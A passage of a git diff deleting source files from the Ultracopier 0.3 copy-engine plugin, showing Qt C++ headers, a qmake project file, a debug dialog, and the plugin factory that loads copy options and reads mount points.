- struct errorQueueItem
- {
- TransferThread * transfer; ///< NULL if send by scan thread
- scanFileOrFolder * scan; ///< NULL if send by transfer thread
- bool mkPath;
- bool rmPath;
- QFileInfo inode;
- QString errorString;
- };
- QList<errorQueueItem> errorQueue;
- /// \brief already exists queue
- struct alreadyExistsQueueItem
- {
- TransferThread * transfer; ///< NULL if send by scan thread
- scanFileOrFolder * scan; ///< NULL if send by transfer thread
- QFileInfo source;
- QFileInfo destination;
- bool isSame;
- };
- QList<alreadyExistsQueueItem> alreadyExistsQueue;
- //temp variable
- int error_index,loop_size;
- FileErrorAction tempFileErrorAction;
- FolderExistsAction tempFolderExistsAction;
- FileExistsAction tempFileExistsAction;
- quint64 size_for_speed;//because direct access to list thread into the main thread can't be do
- CopyMode mode;
- bool forcedMode;
-
- bool doChecksum;
- bool checksumIgnoreIfImpossible;
- bool checksumOnlyOnError;
- bool osBuffer;
- bool osBufferLimited;
- unsigned int osBufferLimit;
- QStringList includeStrings,includeOptions,excludeStrings,excludeOptions;
- QString firstRenamingRule;
- QString otherRenamingRule;
-
- //send action done timer
- QTimer timerActionDone;
- //send progression timer
- QTimer timerProgression;
-private slots:
- #ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
- void updateTheDebugInfo(QStringList,QStringList,int);
- #endif
- //dialog message
- /// \note Can be call without queue because all call will be serialized
- void fileAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,TransferThread * thread,bool isCalledByShowOneNewDialog=false);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFile(QFileInfo fileInfo,QString errorString,TransferThread * thread,bool isCalledByShowOneNewDialog=false);
- /// \note Can be call without queue because all call will be serialized
- void folderAlreadyExists(QFileInfo source,QFileInfo destination,bool isSame,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog=false);
- /// \note Can be call without queue because all call will be serialized
- void errorOnFolder(QFileInfo fileInfo,QString errorString,scanFileOrFolder * thread,bool isCalledByShowOneNewDialog=false);
- //mkpath event
- void mkPathErrorOnFolder(QFileInfo,QString,bool isCalledByShowOneNewDialog=false);
- //rmpath event
- void rmPathErrorOnFolder(QFileInfo,QString,bool isCalledByShowOneNewDialog=false);
- //show one new dialog if needed
- void showOneNewDialog();
- void sendNewFilters();
-
- void doChecksum_toggled(bool);
- void checksumOnlyOnError_toggled(bool);
- void checksumIgnoreIfImpossible_toggled(bool);
- void osBuffer_toggled(bool);
- void osBufferLimited_toggled(bool);
- void osBufferLimit_editingFinished();
- void showFilterDialog();
- void sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
- void showRenamingRules();
- void get_realBytesTransfered(quint64 realBytesTransfered);
- void newActionInProgess(EngineActionInProgress);
-public:
- /** \brief to send the options panel
- * \return return false if have not the options
- * \param tempWidget the widget to generate on it the options */
- bool getOptionsEngine(QWidget * tempWidget);
- /** \brief to have interface widget to do modal dialog
- * \param interface to have the widget of the interface, useful for modal dialog */
- void setInterfacePointer(QWidget * interface);
- //return empty if multiple
- /** \brief compare the current sources of the copy, with the passed arguments
- * \param sources the sources list to compares with the current sources list
- * \return true if have same sources, else false (or empty) */
- bool haveSameSource(const QStringList &sources);
- /** \brief compare the current destination of the copy, with the passed arguments
- * \param destination the destination to compares with the current destination
- * \return true if have same destination, else false (or empty) */
- bool haveSameDestination(const QString &destination);
- //external soft like file browser have send copy/move list to do
- /** \brief send copy without destination, ask the destination
- * \param sources the sources list to copy
- * \return true if the copy have been accepted */
- bool newCopy(const QStringList &sources);
- /** \brief send copy with destination
- * \param sources the sources list to copy
- * \param destination the destination to copy
- * \return true if the copy have been accepted */
- bool newCopy(const QStringList &sources,const QString &destination);
- /** \brief send move without destination, ask the destination
- * \param sources the sources list to move
- * \return true if the move have been accepted */
- bool newMove(const QStringList &sources);
- /** \brief send move without destination, ask the destination
- * \param sources the sources list to move
- * \param destination the destination to move
- * \return true if the move have been accepted */
- bool newMove(const QStringList &sources,const QString &destination);
- /** \brief send the new transfer list
- * \param file the transfer list */
- void newTransferList(const QString &file);
-
- /** \brief to get byte read, use by Ultracopier for the speed calculation
- * real size transfered to right speed calculation */
- quint64 realByteTransfered();
- //speed limitation
- /** \brief get the speed limitation
- * < -1 if not able, 0 if disabled */
- qint64 getSpeedLimitation();
- //get collision action
- /** \brief get the collision action list */
- QList<QPair<QString,QString> > getCollisionAction();
- /** \brief get the collision error list */
- QList<QPair<QString,QString> > getErrorAction();
-
- /** \brief to set drives detected
- * specific to this copy engine */
- void setDrive(const QStringList &drives);
-
- /** \brief to sync the transfer list
- * Used when the interface is changed, useful to minimize the memory size */
- void syncTransferList();
-
- void set_doChecksum(bool doChecksum);
- void set_checksumIgnoreIfImpossible(bool checksumIgnoreIfImpossible);
- void set_checksumOnlyOnError(bool checksumOnlyOnError);
- void set_osBuffer(bool osBuffer);
- void set_osBufferLimited(bool osBufferLimited);
- void set_osBufferLimit(unsigned int osBufferLimit);
- void set_setFilters(QStringList includeStrings,QStringList includeOptions,QStringList excludeStrings,QStringList excludeOptions);
- void setRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-public slots:
- //user ask ask to add folder (add it with interface ask source/destination)
- /** \brief add folder called on the interface
- * Used by manual adding */
- bool userAddFolder(const CopyMode &mode);
- /** \brief add file called on the interface
- * Used by manual adding */
- bool userAddFile(const CopyMode &mode);
- //action on the copy
- /// \brief put the transfer in pause
- void pause();
- /// \brief resume the transfer
- void resume();
- /** \brief skip one transfer entry
- * \param id id of the file to remove */
- void skip(const quint64 &id);
- /// \brief cancel all the transfer
- void cancel();
- //edit the transfer list
- /** \brief remove the selected item
- * \param ids ids is the id list of the selected items */
- void removeItems(const QList<int> &ids);
- /** \brief move on top of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnTop(const QList<int> &ids);
- /** \brief move up the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsUp(const QList<int> &ids);
- /** \brief move down the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsDown(const QList<int> &ids);
- /** \brief move on bottom of the list the selected item
- * \param ids ids is the id list of the selected items */
- void moveItemsOnBottom(const QList<int> &ids);
-
- /** \brief give the forced mode, to export/import transfer list */
- void forceMode(const CopyMode &mode);
- /// \brief export the transfer list into a file
- void exportTransferList();
- /// \brief import the transfer list into a file
- void importTransferList();
-
- /** \brief to set the speed limitation
- * -1 if not able, 0 if disabled */
- bool setSpeedLimitation(const qint64 &speedLimitation);
- //action
- /// \brief to set the collision action
- void setCollisionAction(const QString &action);
- /// \brief to set the error action
- void setErrorAction(const QString &action);
-
- // specific to this copy engine
-
- /// \brief set if the rights shoul be keep
- void setRightTransfer(const bool doRightTransfer);
- /// \brief set keep date
- void setKeepDate(const bool keepDate);
- /// \brief set block size in KB
- void setBlockSize(const int blockSize);
- /// \brief set auto start
- void setAutoStart(const bool autoStart);
- /// \brief set if need check if the destination folder exists
- void setCheckDestinationFolderExists(const bool checkDestinationFolderExists);
- /// \brief reset widget
- void resetTempWidget();
- //autoconnect
- void on_comboBoxFolderColision_currentIndexChanged(int index);
- void on_comboBoxFolderError_currentIndexChanged(int index);
- /// \brief need retranslate the insterface
- void newLanguageLoaded();
-private slots:
- void setComboBoxFolderColision(FolderExistsAction action,bool changeComboBox=true);
- void setComboBoxFolderError(FileErrorAction action,bool changeComboBox=true);
- void warningTransferList(const QString &warning);
- void errorTransferList(const QString &error);
-signals:
- //send information about the copy
- void actionInProgess(EngineActionInProgress); //should update interface information on this event
-
- void newActionOnList(const QList<returnActionOnCopyList> &);///very important, need be temporized to group the modification to do and not flood the interface
- void syncReady();
-
- /** \brief to get the progression for a specific file
- * \param id the id of the transfer, id send during population the transfer list
- * first = current transfered byte, second = byte to transfer */
- void pushFileProgression(const QList<ProgressionItem> &progressionList);
- //get information about the copy
- /** \brief to get the general progression
- * first = current transfered byte, second = byte to transfer */
- void pushGeneralProgression(const quint64 &,const quint64 &);
-
- void newFolderListing(const QString &path);
- void newCollisionAction(const QString &action);
- void newErrorAction(const QString &action);
- void isInPause(bool);
-
- //action on the copy
- void signal_pause();
- void signal_resume();
- void signal_skip(const quint64 &id);
-
- //edit the transfer list
- void signal_removeItems(const QList<int> &ids);
- void signal_moveItemsOnTop(const QList<int> &ids);
- void signal_moveItemsUp(const QList<int> &ids);
- void signal_moveItemsDown(const QList<int> &ids);
- void signal_moveItemsOnBottom(const QList<int> &ids);
-
- void signal_forceMode(const CopyMode &mode);
- void signal_exportTransferList(const QString &fileName);
- void signal_importTransferList(const QString &fileName);
-
- //action
- void signal_setCollisionAction(FileExistsAction alwaysDoThisActionForFileExists);
- void signal_setComboBoxFolderColision(FolderExistsAction action);
- void signal_setFolderColision(FolderExistsAction action);
-
- //when the cancel is clicked on copy engine dialog
- void cancelAll();
-
- //internal cancel
- void tryCancel();
-
- //when can be deleted
- void canBeDeleted();
-
- //send error occurred
- void error(const QString &path,const quint64 &size,const QDateTime &mtime,const QString &error);
- //for the extra logging
- void rmPath(const QString &path);
- void mkPath(const QString &path);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- /// \brief To debug source
- void debugInformation(DebugLevel level,QString fonction,QString text,QString file,int ligne);
- #endif
-
- //other signals
- void queryOneNewDialog();
-
- void send_osBufferLimit(const unsigned int &osBufferLimit);
- void send_setFilters(const QList<Filters_rules> &include,const QList<Filters_rules> &exclude);
- void send_sendNewRenamingRules(QString firstRenamingRule,QString otherRenamingRule);
-};
-
-#endif // COPY_ENGINE_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/copyEngine.pro b/plugins/CopyEngine/Ultracopier-0.3/copyEngine.pro
deleted file mode 100644
index 13ab523..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/copyEngine.pro
+++ /dev/null
@@ -1,82 +0,0 @@
-TEMPLATE = lib
-CONFIG += plugin
-HEADERS = copyEngine.h \
- StructEnumDefinition.h \
- scanFileOrFolder.h \
- fileErrorDialog.h \
- fileExistsDialog.h \
- fileIsSameDialog.h \
- factory.h \
- StructEnumDefinition_CopyEngine.h \
- DebugEngineMacro.h \
- Variable.h \
- debugDialog.h \
- TransferThread.h \
- ReadThread.h \
- WriteThread.h \
- RmPath.h \
- MkPath.h \
- folderExistsDialog.h \
- AvancedQFile.h \
- ListThread.h \
- ../../../interface/PluginInterface_CopyEngine.h \
- ../../../interface/OptionInterface.h \
- ../../../interface/FacilityInterface.h \
- Filters.h \
- FilterRules.h \
- RenamingRules.h
-SOURCES = copyEngine.cpp \
- scanFileOrFolder.cpp \
- fileErrorDialog.cpp \
- fileExistsDialog.cpp \
- fileIsSameDialog.cpp \
- factory.cpp \
- debugDialog.cpp \
- TransferThread.cpp \
- ReadThread.cpp \
- WriteThread.cpp \
- RmPath.cpp \
- MkPath.cpp \
- folderExistsDialog.cpp \
- AvancedQFile.cpp \
- copyEngine-collision-and-error.cpp \
- ListThread.cpp \
- Filters.cpp \
- FilterRules.cpp \
- RenamingRules.cpp \
- ListThread_InodeAction.cpp
-TARGET = $$qtLibraryTarget(copyEngine)
-TRANSLATIONS += Languages/fr/translation.ts \
- Languages/ar/translation.ts \
- Languages/zh/translation.ts \
- Languages/es/translation.ts \
- Languages/de/translation.ts \
- Languages/el/translation.ts \
- Languages/it/translation.ts \
- Languages/ja/translation.ts \
- Languages/id/translation.ts \
- Languages/pl/translation.ts \
- Languages/ru/translation.ts \
- Languages/tr/translation.ts \
- Languages/th/translation.ts \
- Languages/hi/translation.ts \
- Languages/nl/translation.ts \
- Languages/no/translation.ts \
- Languages/pt/translation.ts \
- Languages/ko/translation.ts
-
-FORMS += \
- options.ui \
- fileErrorDialog.ui \
- fileExistsDialog.ui \
- fileIsSameDialog.ui \
- debugDialog.ui \
- folderExistsDialog.ui \
- Filters.ui \
- FilterRules.ui \
- RenamingRules.ui
-
-OTHER_FILES += informations.xml
-
-RESOURCES += \
- resources.qrc
diff --git a/plugins/CopyEngine/Ultracopier-0.3/debugDialog.cpp b/plugins/CopyEngine/Ultracopier-0.3/debugDialog.cpp
deleted file mode 100644
index a03aec0..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/debugDialog.cpp
+++ /dev/null
@@ -1,70 +0,0 @@
-/** \file debugDialog.cpp
-\brief Define the dialog to have debug information
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include "debugDialog.h"
-#include "ui_debugDialog.h"
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-
-debugDialog::debugDialog(QWidget *parent) :
- QWidget(parent),
- ui(new Ui::debugDialog)
-{
- ui->setupUi(this);
-}
-
-debugDialog::~debugDialog()
-{
- delete ui;
-}
-
-void debugDialog::setTransferList(const QStringList &list)
-{
- if(list.size()==ui->tranferList->count())
- {
- int index=0;
- while(index<list.size())
- {
- ui->tranferList->item(index)->setText(list.at(index));
- index++;
- }
- }
- else
- {
- ui->tranferList->clear();
- ui->tranferList->addItems(list);
- }
-}
-
-void debugDialog::setActiveTransfer(int activeTransfer)
-{
- ui->spinBoxActiveTransfer->setValue(activeTransfer);
-}
-
-void debugDialog::setInodeUsage(int inodeUsage)
-{
- ui->spinBoxNumberOfInode->setValue(inodeUsage);
-}
-
-void debugDialog::setTransferThreadList(const QStringList &list)
-{
- if(list.size()==ui->transferThreadList->count())
- {
- int index=0;
- while(index<list.size())
- {
- ui->transferThreadList->item(index)->setText(list.at(index));
- index++;
- }
- }
- else
- {
- ui->transferThreadList->clear();
- ui->transferThreadList->addItems(list);
- }
-}
-
-#endif
diff --git a/plugins/CopyEngine/Ultracopier-0.3/debugDialog.h b/plugins/CopyEngine/Ultracopier-0.3/debugDialog.h
deleted file mode 100644
index 3d48857..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/debugDialog.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/** \file debugDialog.h
-\brief Define the dialog to have debug information
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#ifndef DEBUGDAILOG_H
-#define DEBUGDAILOG_H
-
-#include "Environment.h"
-
-#ifdef ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-#include <QWidget>
-
-namespace Ui {
- class debugDialog;
-}
-
-/// \brief class to the dialog to have debug information
-class debugDialog : public QWidget
-{
- Q_OBJECT
-public:
- explicit debugDialog(QWidget *parent = 0);
- ~debugDialog();
- /// \brief to set the transfer list, limited in result to not slow down the application
- void setTransferList(const QStringList &list);
- /// \brief show the transfer thread, it show be a thread pool in normal time
- void setTransferThreadList(const QStringList &list);
- /// \brief show how many transfer is active
- void setActiveTransfer(int activeTransfer);
- /// \brief show many many inode is manipulated
- void setInodeUsage(int inodeUsage);
-private:
- Ui::debugDialog *ui;
-};
-
-#endif // ULTRACOPIER_PLUGIN_DEBUG_WINDOW
-
-#endif // DEBUGDAILOG_H
diff --git a/plugins/CopyEngine/Ultracopier-0.3/factory.cpp b/plugins/CopyEngine/Ultracopier-0.3/factory.cpp
deleted file mode 100644
index 642a05b..0000000
--- a/plugins/CopyEngine/Ultracopier-0.3/factory.cpp
+++ /dev/null
@@ -1,407 +0,0 @@
-/** \file factory.cpp
-\brief Define the factory to create new instance
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
-
-#include <QtCore>
-#include <QFileDialog>
-
-#include "factory.h"
-
-Factory::Factory() :
- ui(new Ui::options())
-{
- tempWidget=new QWidget();
- ui->setupUi(tempWidget);
- errorFound=false;
- optionsEngine=NULL;
- filters=new Filters(tempWidget);
- renamingRules=new RenamingRules(tempWidget);
- #if defined (Q_OS_WIN32)
- QFileInfoList temp=QDir::drives();
- for (int i = 0; i < temp.size(); ++i) {
- mountSysPoint<<temp.at(i).filePath();
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"mountSysPoint: "+mountSysPoint.join(";"));
- #elif defined (Q_OS_LINUX)
- connect(&mount,SIGNAL(error(QProcess::ProcessError)), this,SLOT(error(QProcess::ProcessError)));
- connect(&mount,SIGNAL(finished(int,QProcess::ExitStatus)), this,SLOT(finished(int,QProcess::ExitStatus)));
- connect(&mount,SIGNAL(readyReadStandardOutput()), this,SLOT(readyReadStandardOutput()));
- connect(&mount,SIGNAL(readyReadStandardError()), this,SLOT(readyReadStandardError()));
- mount.start("mount");
- #endif
- connect(ui->doRightTransfer, SIGNAL(toggled(bool)), this,SLOT(setDoRightTransfer(bool)));
- connect(ui->keepDate, SIGNAL(toggled(bool)), this,SLOT(setKeepDate(bool)));
- connect(ui->blockSize, SIGNAL(valueChanged(int)), this,SLOT(setBlockSize(int)));
- connect(ui->autoStart, SIGNAL(toggled(bool)), this,SLOT(setAutoStart(bool)));
- connect(ui->doChecksum, SIGNAL(toggled(bool)), this,SLOT(doChecksum_toggled(bool)));
- connect(ui->checksumIgnoreIfImpossible, SIGNAL(toggled(bool)), this,SLOT(checksumIgnoreIfImpossible_toggled(bool)));
- connect(ui->checksumOnlyOnError, SIGNAL(toggled(bool)), this,SLOT(checksumOnlyOnError_toggled(bool)));
- connect(ui->osBuffer, SIGNAL(toggled(bool)), this,SLOT(osBuffer_toggled(bool)));
- connect(ui->osBufferLimited, SIGNAL(toggled(bool)), this,SLOT(osBufferLimited_toggled(bool)));
- connect(ui->osBufferLimit, SIGNAL(editingFinished()), this,SLOT(osBufferLimit_editingFinished()));
-
- connect(filters,SIGNAL(sendNewFilters(QStringList,QStringList,QStringList,QStringList)),this,SLOT(sendNewFilters(QStringList,QStringList,QStringList,QStringList)));
- connect(ui->filters,SIGNAL(clicked()),this,SLOT(showFilterDialog()));
- connect(renamingRules,SIGNAL(sendNewRenamingRules(QString,QString)),this,SLOT(sendNewRenamingRules(QString,QString)));
- connect(ui->renamingRules,SIGNAL(clicked()),this,SLOT(showRenamingRules()));
-
- ui->osBufferLimit->setEnabled(ui->osBuffer->isChecked() && ui->osBufferLimited->isChecked());
-}
-
-Factory::~Factory()
-{
- delete renamingRules;
- delete filters;
- delete ui;
-}
-
-PluginInterface_CopyEngine * Factory::getInstance()
-{
- copyEngine *realObject=new copyEngine(facilityEngine);
- #ifdef ULTRACOPIER_PLUGIN_DEBUG
- connect(realObject,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif
- realObject->connectTheSignalsSlots();
- realObject->setDrive(mountSysPoint);
- PluginInterface_CopyEngine * newTransferEngine=realObject;
- connect(this,SIGNAL(reloadLanguage()),newTransferEngine,SLOT(newLanguageLoaded()));
- realObject->setRightTransfer( optionsEngine->getOptionValue("doRightTransfer").toBool());
- realObject->setKeepDate( optionsEngine->getOptionValue("keepDate").toBool());
- realObject->setBlockSize( optionsEngine->getOptionValue("blockSize").toInt());
- realObject->setAutoStart( optionsEngine->getOptionValue("autoStart").toBool());
- realObject->on_comboBoxFolderColision_currentIndexChanged(ui->comboBoxFolderColision->currentIndex());
- realObject->on_comboBoxFolderError_currentIndexChanged(ui->comboBoxFolderError->currentIndex());
- realObject->setCheckDestinationFolderExists( optionsEngine->getOptionValue("checkDestinationFolder").toBool());
-
- realObject->set_doChecksum(optionsEngine->getOptionValue("doChecksum").toBool());
- realObject->set_checksumIgnoreIfImpossible(optionsEngine->getOptionValue("checksumIgnoreIfImpossible").toBool());
- realObject->set_checksumOnlyOnError(optionsEngine->getOptionValue("checksumOnlyOnError").toBool());
- realObject->set_osBuffer(optionsEngine->getOptionValue("osBuffer").toBool());
- realObject->set_osBufferLimited(optionsEngine->getOptionValue("osBufferLimited").toBool());
- realObject->set_osBufferLimit(optionsEngine->getOptionValue("osBufferLimit").toUInt());
- realObject->set_setFilters(optionsEngine->getOptionValue("includeStrings").toStringList(),
- optionsEngine->getOptionValue("includeOptions").toStringList(),
- optionsEngine->getOptionValue("excludeStrings").toStringList(),
- optionsEngine->getOptionValue("excludeOptions").toStringList()
- );
- realObject->setRenamingRules(optionsEngine->getOptionValue("firstRenamingRule").toString(),optionsEngine->getOptionValue("otherRenamingRule").toString());
- return newTransferEngine;
-}
-
-void Factory::setResources(OptionInterface * options,const QString &writePath,const QString &pluginPath,FacilityInterface * facilityInterface,const bool &portableVersion)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, writePath: "+writePath+", pluginPath:"+pluginPath);
- this->facilityEngine=facilityInterface;
- Q_UNUSED(portableVersion);
- #ifndef ULTRACOPIER_PLUGIN_DEBUG
- Q_UNUSED(writePath);
- Q_UNUSED(pluginPath);
- #endif
- #if ! defined (Q_CC_GNU)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"Unable to change date time of files, only gcc is supported");
- #endif
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,COMPILERINFO);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX BUFFER BLOCK: "+QString::number(ULTRACOPIER_PLUGIN_MAXBUFFERBLOCK));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MIN TIMER INTERVAL: "+QString::number(ULTRACOPIER_PLUGIN_MINTIMERINTERVAL));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX TIMER INTERVAL: "+QString::number(ULTRACOPIER_PLUGIN_MAXTIMERINTERVAL));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"NUM SEM SPEED MANAGEMENT: "+QString::number(ULTRACOPIER_PLUGIN_NUMSEMSPEEDMANAGEMENT));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX PARALLEL INODE OPT: "+QString::number(ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"MAX PARALLEL TRANFER: "+QString::number(ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER));
- #if defined (ULTRACOPIER_PLUGIN_CHECKLISTTYPE)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"CHECK LIST TYPE set");
- #else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"CHECK LIST TYPE not set");
- #endif
- if(options!=NULL)
- {
- optionsEngine=options;
- //load the options
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("doRightTransfer"),QVariant(true)));
- KeysList.append(qMakePair(QString("keepDate"),QVariant(true)));
- KeysList.append(qMakePair(QString("blockSize"),QVariant(1024)));//1024KB as default
- KeysList.append(qMakePair(QString("autoStart"),QVariant(true)));
- KeysList.append(qMakePair(QString("folderError"),QVariant(0)));
- KeysList.append(qMakePair(QString("folderColision"),QVariant(0)));
- KeysList.append(qMakePair(QString("checkDestinationFolder"),QVariant(true)));
- KeysList.append(qMakePair(QString("includeStrings"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("includeOptions"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("excludeStrings"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("excludeOptions"),QVariant(QStringList())));
- KeysList.append(qMakePair(QString("doChecksum"),QVariant(true)));
- KeysList.append(qMakePair(QString("checksumIgnoreIfImpossible"),QVariant(true)));
- KeysList.append(qMakePair(QString("checksumOnlyOnError"),QVariant(true)));
- KeysList.append(qMakePair(QString("osBuffer"),QVariant(true)));
- KeysList.append(qMakePair(QString("firstRenamingRule"),QVariant("")));
- KeysList.append(qMakePair(QString("otherRenamingRule"),QVariant("")));
- #ifdef Q_OS_WIN32
- KeysList.append(qMakePair(QString("osBufferLimited"),QVariant(true)));
- #else
- KeysList.append(qMakePair(QString("osBufferLimited"),QVariant(false)));
- #endif
- KeysList.append(qMakePair(QString("osBufferLimit"),QVariant(512)));
- optionsEngine->addOptionGroup(KeysList);
- #if ! defined (Q_CC_GNU)
- ui->keepDate->setEnabled(false);
- ui->keepDate->setToolTip("Not supported with this compiler");
- #endif
- ui->doRightTransfer->setChecked(optionsEngine->getOptionValue("doRightTransfer").toBool());
- ui->keepDate->setChecked(optionsEngine->getOptionValue("keepDate").toBool());
- ui->blockSize->setValue(optionsEngine->getOptionValue("blockSize").toUInt());
- ui->autoStart->setChecked(optionsEngine->getOptionValue("autoStart").toBool());
- ui->comboBoxFolderError->setCurrentIndex(optionsEngine->getOptionValue("folderError").toUInt());
- ui->comboBoxFolderColision->setCurrentIndex(optionsEngine->getOptionValue("folderColision").toUInt());
- ui->checkBoxDestinationFolderExists->setChecked(optionsEngine->getOptionValue("checkDestinationFolder").toBool());
- ui->doChecksum->setChecked(optionsEngine->getOptionValue("doChecksum").toBool());
- ui->checksumIgnoreIfImpossible->setChecked(optionsEngine->getOptionValue("checksumIgnoreIfImpossible").toBool());
- ui->checksumOnlyOnError->setChecked(optionsEngine->getOptionValue("checksumOnlyOnError").toBool());
- ui->osBuffer->setChecked(optionsEngine->getOptionValue("osBuffer").toBool());
- ui->osBufferLimited->setChecked(optionsEngine->getOptionValue("osBufferLimited").toBool());
- ui->osBufferLimit->setValue(optionsEngine->getOptionValue("osBufferLimit").toUInt());
- filters->setFilters(optionsEngine->getOptionValue("includeStrings").toStringList(),
- optionsEngine->getOptionValue("includeOptions").toStringList(),
- optionsEngine->getOptionValue("excludeStrings").toStringList(),
- optionsEngine->getOptionValue("excludeOptions").toStringList()
- );
- renamingRules->setRenamingRules(optionsEngine->getOptionValue("firstRenamingRule").toString(),optionsEngine->getOptionValue("otherRenamingRule").toString());
- }
-}
-
-QStringList Factory::supportedProtocolsForTheSource()
-{
- return QStringList() << "file";
-}
-
-QStringList Factory::supportedProtocolsForTheDestination()
-{
- return QStringList() << "file";
-}
-
-CopyType Factory::getCopyType()
-{
- return FileAndFolder;
-}
-
-TransferListOperation Factory::getTransferListOperation()
-{
- return TransferListOperation_ImportExport;
-}
-
-bool Factory::canDoOnlyCopy()
-{
- return false;
-}
-
-void Factory::error(QProcess::ProcessError error)
-{
- #ifndef ULTRACOPIER_PLUGIN_DEBUG
- Q_UNUSED(error)
- #endif
- errorFound=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"have detected error: "+QString::number(error));
-}
-
-void Factory::finished(int exitCode, QProcess::ExitStatus exitStatus)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"exitCode: "+QString::number(exitCode)+", exitStatus: "+QString::number(exitStatus));
- #ifndef ULTRACOPIER_PLUGIN_DEBUG
- Q_UNUSED(exitCode)
- Q_UNUSED(exitStatus)
- #endif
- if(!StandardError.isEmpty())
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"have finished with text on error output: "+StandardError);
- else if(errorFound)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"have finished with error and no text");
- {
- QStringList tempList=StandardOutput.split(QRegExp("[\n\r]+"));
- int index=0;
- while(index<tempList.size())
- {
- QString newString=tempList.at(index);
- newString=newString.remove(QRegExp("^.* on "));
- newString=newString.remove(QRegExp(" type .*$"));
- if(!newString.endsWith(QDir::separator()))
- newString+=QDir::separator();
- mountSysPoint<<newString;
- index++;
- }
- mountSysPoint.removeDuplicates();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"mountSysPoint: "+mountSysPoint.join(";"));
- }
-}
-
-void Factory::readyReadStandardError()
-{
- StandardError+=mount.readAllStandardError();
-}
-
-void Factory::readyReadStandardOutput()
-{
- StandardOutput+=mount.readAllStandardOutput();
-}
-
-void Factory::resetOptions()
-{
-}
-
-QWidget * Factory::options()
-{
- ui->autoStart->setChecked(optionsEngine->getOptionValue("autoStart").toBool());
- return tempWidget;
-}
-
-void Factory::setDoRightTransfer(bool doRightTransfer)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("doRightTransfer",doRightTransfer);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::setKeepDate(bool keepDate)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("keepDate",keepDate);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::setBlockSize(int blockSize)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("blockSize",blockSize);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::setAutoStart(bool autoStart)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("autoStart",autoStart);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::newLanguageLoaded()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, retranslate the widget options");
- ui->retranslateUi(tempWidget);
- if(optionsEngine!=NULL)
- {
- filters->newLanguageLoaded();
- renamingRules->newLanguageLoaded();
- }
- emit reloadLanguage();
-}
-
-Q_EXPORT_PLUGIN2(copyEngine, Factory);
-
-void Factory::doChecksum_toggled(bool doChecksum)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
- optionsEngine->setOptionValue("doChecksum",doChecksum);
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"internal error, crash prevented");
-}
-
-void Factory::checksumOnlyOnError_toggled(bool checksumOnlyOnError)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the checkbox have changed");
- if(optionsEngine!=NULL)
